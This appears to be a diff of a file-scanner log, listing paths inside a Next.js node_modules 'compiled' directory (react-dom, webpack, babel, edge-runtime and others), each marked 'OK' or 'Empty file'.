+/scan/node_modules/next/dist/compiled/react-refresh/babel.js: OK
+/scan/node_modules/next/dist/compiled/react-refresh/cjs/react-refresh-babel.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-refresh/cjs/react-refresh-runtime.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-refresh/cjs/react-refresh-runtime.development.js: OK
+/scan/node_modules/next/dist/compiled/react-refresh/cjs/react-refresh-babel.development.js: OK
+/scan/node_modules/next/dist/compiled/postcss-plugin-stub-for-cssnano-simple/index.js: OK
+/scan/node_modules/next/dist/compiled/find-up/LICENSE: OK
+/scan/node_modules/next/dist/compiled/find-up/index.js: OK
+/scan/node_modules/next/dist/compiled/find-up/package.json: OK
+/scan/node_modules/next/dist/compiled/assert/assert.js: OK
+/scan/node_modules/next/dist/compiled/assert/LICENSE: OK
+/scan/node_modules/next/dist/compiled/assert/package.json: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-turbo.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-experimental.runtime.dev.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route.runtime.dev.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-turbo.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-turbo-experimental.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-experimental.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-experimental.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/server.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-experimental.runtime.dev.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-api-turbo.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/pages.runtime.dev.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-turbo.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-api.runtime.dev.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-turbo.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-experimental.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/server.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-turbo-experimental.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-experimental.runtime.dev.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-turbo-experimental.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/pages.runtime.dev.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-api.runtime.dev.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route.runtime.dev.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/pages.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/pages-api-turbo.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-turbo-experimental.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-turbo.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-experimental.runtime.prod.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-route-experimental.runtime.dev.js: OK
+/scan/node_modules/next/dist/compiled/next-server/app-page-turbo.runtime.prod.js.map: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-local-by-default/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-local-by-default/index.js: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-local-by-default/package.json: OK
+/scan/node_modules/next/dist/compiled/get-orientation/LICENSE: OK
+/scan/node_modules/next/dist/compiled/get-orientation/index.js: OK
+/scan/node_modules/next/dist/compiled/get-orientation/package.json: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/node-register.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/client.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/server.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/client.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/LICENSE: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/server.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/server.node.unbundled.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/server.browser.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/index.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/client.node.unbundled.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/client.browser.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/package.json: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/client.node.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/plugin.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/server.node.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.node.unbundled.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.edge.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.edge.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.edge.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-node-register.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.node.unbundled.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.node.unbundled.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.edge.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.node.unbundled.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.edge.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.node.unbundled.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.node.unbundled.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-server.node.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-plugin.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.node.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack-experimental/cjs/react-server-dom-webpack-client.edge.development.js: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-values/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-values/index.js: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-values/package.json: OK
+/scan/node_modules/next/dist/compiled/@mswjs/interceptors/ClientRequest/LICENSE: OK
+/scan/node_modules/next/dist/compiled/@mswjs/interceptors/ClientRequest/index.js: OK
+/scan/node_modules/next/dist/compiled/@mswjs/interceptors/ClientRequest/package.json: OK
+/scan/node_modules/next/dist/compiled/crypto-browserify/LICENSE: OK
+/scan/node_modules/next/dist/compiled/crypto-browserify/index.js: OK
+/scan/node_modules/next/dist/compiled/crypto-browserify/package.json: OK
+/scan/node_modules/next/dist/compiled/lodash.curry/LICENSE: OK
+/scan/node_modules/next/dist/compiled/lodash.curry/index.js: OK
+/scan/node_modules/next/dist/compiled/lodash.curry/package.json: OK
+/scan/node_modules/next/dist/compiled/stream-browserify/LICENSE: OK
+/scan/node_modules/next/dist/compiled/stream-browserify/index.js: OK
+/scan/node_modules/next/dist/compiled/stream-browserify/package.json: OK
+/scan/node_modules/next/dist/compiled/gzip-size/LICENSE: OK
+/scan/node_modules/next/dist/compiled/gzip-size/index.js: OK
+/scan/node_modules/next/dist/compiled/gzip-size/package.json: OK
+/scan/node_modules/next/dist/compiled/react-dom/client.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/react-dom.react-server.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/server.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/LICENSE: OK
+/scan/node_modules/next/dist/compiled/react-dom/server.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/server.browser.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/index.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/package.json: OK
+/scan/node_modules/next/dist/compiled/react-dom/profiling.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/static.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/server-rendering-stub.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/server.node.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-rendering-stub.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.edge.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-test-utils.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.profiling.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.bun.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-rendering-stub.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-legacy.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.profiling.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-rendering-stub.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.edge.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-legacy.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.edge.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-legacy.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.react-server.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.react-server.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-legacy.node.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom.react-server.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-legacy.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server-legacy.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom/cjs/react-dom-server.node.production.js: OK
+/scan/node_modules/next/dist/compiled/webpack/webpack.js: OK
+/scan/node_modules/next/dist/compiled/webpack/NodeTargetPlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/FetchCompileAsyncWasmPlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/webpack.d.ts: OK
+/scan/node_modules/next/dist/compiled/webpack/LICENSE: OK
+/scan/node_modules/next/dist/compiled/webpack/NodeEnvironmentPlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/LibraryTemplatePlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/package.js: OK
+/scan/node_modules/next/dist/compiled/webpack/FetchCompileWasmTemplatePlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/ModuleFilenameHelpers.js: OK
+/scan/node_modules/next/dist/compiled/webpack/lazy-compilation-web.js: OK
+/scan/node_modules/next/dist/compiled/webpack/BasicEvaluatedExpression.js: OK
+/scan/node_modules/next/dist/compiled/webpack/WebWorkerTemplatePlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/GraphHelpers.js: OK
+/scan/node_modules/next/dist/compiled/webpack/lazy-compilation-node.js: OK
+/scan/node_modules/next/dist/compiled/webpack/NormalModule.js: OK
+/scan/node_modules/next/dist/compiled/webpack/package.json: OK
+/scan/node_modules/next/dist/compiled/webpack/JavascriptHotModuleReplacement.runtime.js: OK
+/scan/node_modules/next/dist/compiled/webpack/HotModuleReplacement.runtime.js: OK
+/scan/node_modules/next/dist/compiled/webpack/FetchCompileWasmPlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/webpack-lib.js: OK
+/scan/node_modules/next/dist/compiled/webpack/bundle5.js: OK
+/scan/node_modules/next/dist/compiled/webpack/sources.js: OK
+/scan/node_modules/next/dist/compiled/webpack/SingleEntryPlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/ExternalsPlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/NodeTemplatePlugin.js: OK
+/scan/node_modules/next/dist/compiled/webpack/LimitChunkCountPlugin.js: OK
+/scan/node_modules/next/dist/compiled/babel/core-lib-block-hoist-plugin.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-transform-define.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-syntax-import-assertions.js: OK
+/scan/node_modules/next/dist/compiled/babel/traverse.js: OK
+/scan/node_modules/next/dist/compiled/babel/types.js: OK
+/scan/node_modules/next/dist/compiled/babel/LICENSE: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-transform-modules-commonjs.js: OK
+/scan/node_modules/next/dist/compiled/babel/core.js: OK
+/scan/node_modules/next/dist/compiled/babel/preset-env.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-transform-react-remove-prop-types.js: OK
+/scan/node_modules/next/dist/compiled/babel/bundle.js: OK
+/scan/node_modules/next/dist/compiled/babel/core-lib-normalize-opts.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-transform-runtime.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-syntax-bigint.js: OK
+/scan/node_modules/next/dist/compiled/babel/code-frame.js: OK
+/scan/node_modules/next/dist/compiled/babel/core-lib-normalize-file.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-proposal-class-properties.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-proposal-object-rest-spread.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-syntax-jsx.js: OK
+/scan/node_modules/next/dist/compiled/babel/core-lib-plugin-pass.js: OK
+/scan/node_modules/next/dist/compiled/babel/preset-react.js: OK
+/scan/node_modules/next/dist/compiled/babel/preset-typescript.js: OK
+/scan/node_modules/next/dist/compiled/babel/package.json: OK
+/scan/node_modules/next/dist/compiled/babel/generator.js: OK
+/scan/node_modules/next/dist/compiled/babel/eslint-parser.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-proposal-numeric-separator.js: OK
+/scan/node_modules/next/dist/compiled/babel/parser.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-proposal-export-namespace-from.js: OK
+/scan/node_modules/next/dist/compiled/babel/plugin-syntax-dynamic-import.js: OK
+/scan/node_modules/next/dist/compiled/babel/core-lib-config.js: OK
+/scan/node_modules/next/dist/compiled/webpack-sources1/LICENSE: OK
+/scan/node_modules/next/dist/compiled/webpack-sources1/index.js: OK
+/scan/node_modules/next/dist/compiled/webpack-sources1/package.json: OK
+/scan/node_modules/next/dist/compiled/@napi-rs/triples/LICENSE: OK
+/scan/node_modules/next/dist/compiled/@napi-rs/triples/index.js: OK
+/scan/node_modules/next/dist/compiled/@napi-rs/triples/package.json: OK
+/scan/node_modules/next/dist/compiled/raw-body/LICENSE: OK
+/scan/node_modules/next/dist/compiled/raw-body/index.js: OK
+/scan/node_modules/next/dist/compiled/raw-body/package.json: OK
+/scan/node_modules/next/dist/compiled/semver/LICENSE: OK
+/scan/node_modules/next/dist/compiled/semver/index.js: OK
+/scan/node_modules/next/dist/compiled/semver/package.json: OK
+/scan/node_modules/next/dist/compiled/postcss-value-parser/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-value-parser/index.js: OK
+/scan/node_modules/next/dist/compiled/postcss-value-parser/package.json: OK
+/scan/node_modules/next/dist/compiled/find-cache-dir/LICENSE: OK
+/scan/node_modules/next/dist/compiled/find-cache-dir/index.js: OK
+/scan/node_modules/next/dist/compiled/find-cache-dir/package.json: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-scope/LICENSE: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-scope/index.js: OK
+/scan/node_modules/next/dist/compiled/postcss-modules-scope/package.json: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/ponyfill/index.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/ponyfill/package.json: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/ponyfill/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/fetch.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/blob.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/crypto.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/events.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/console.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/blob.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/url.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/abort-controller.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/console.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/events.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/timers.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/index.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/abort-controller.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/crypto.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/structured-clone.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/fetch.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/events.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/load.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/url.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/url.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/package.json: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/fetch.js.LEGAL.txt: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/timers.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/blob.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/structured-clone.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/timers.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/load.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/load.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/structured-clone.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/crypto.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/index.js.LEGAL.txt: Empty file
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/console.js.text.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/primitives/abort-controller.d.ts: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/cookies/index.js: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/cookies/package.json: OK
+/scan/node_modules/next/dist/compiled/@edge-runtime/cookies/index.d.ts: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/node-register.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/client.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/server.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/client.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/LICENSE: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/server.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/server.node.unbundled.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/server.browser.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/index.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/client.node.unbundled.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/client.browser.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/package.json: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/client.node.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/plugin.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/server.node.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.unbundled.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.edge.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.edge.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.edge.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-node-register.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.node.unbundled.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.node.unbundled.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.edge.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.unbundled.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.edge.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.node.unbundled.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.unbundled.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-plugin.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.node.production.js: OK
+/scan/node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-client.edge.development.js: OK
+/scan/node_modules/next/dist/compiled/client-only/index.js: Empty file
+/scan/node_modules/next/dist/compiled/client-only/error.js: OK
+/scan/node_modules/next/dist/compiled/client-only/package.json: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/regenerator/index.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/LICENSE: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/README.md: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/package.json: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/interopRequireDefault.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/objectDestructuringEmpty.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/createClass.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/asyncToGenerator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/jsx.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/arrayWithoutHoles.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/interopRequireWildcard.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/regeneratorRuntime.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/taggedTemplateLiteralLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/using.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/applyDecs2305.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/readOnlyError.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/inheritsLoose.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/instanceof.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/classCheckPrivateStaticFieldDescriptor.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/arrayWithHoles.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/decorate.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/newArrowCheck.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/applyDecs2301.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/nonIterableRest.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/asyncIterator.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/objectWithoutProperties.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/assertThisInitialized.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/interopRequireDefault.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/objectDestructuringEmpty.js: OK
+/scan/node_modules/next/dist/compiled/@babel/runtime/helpers/esm/createClass.js: OK
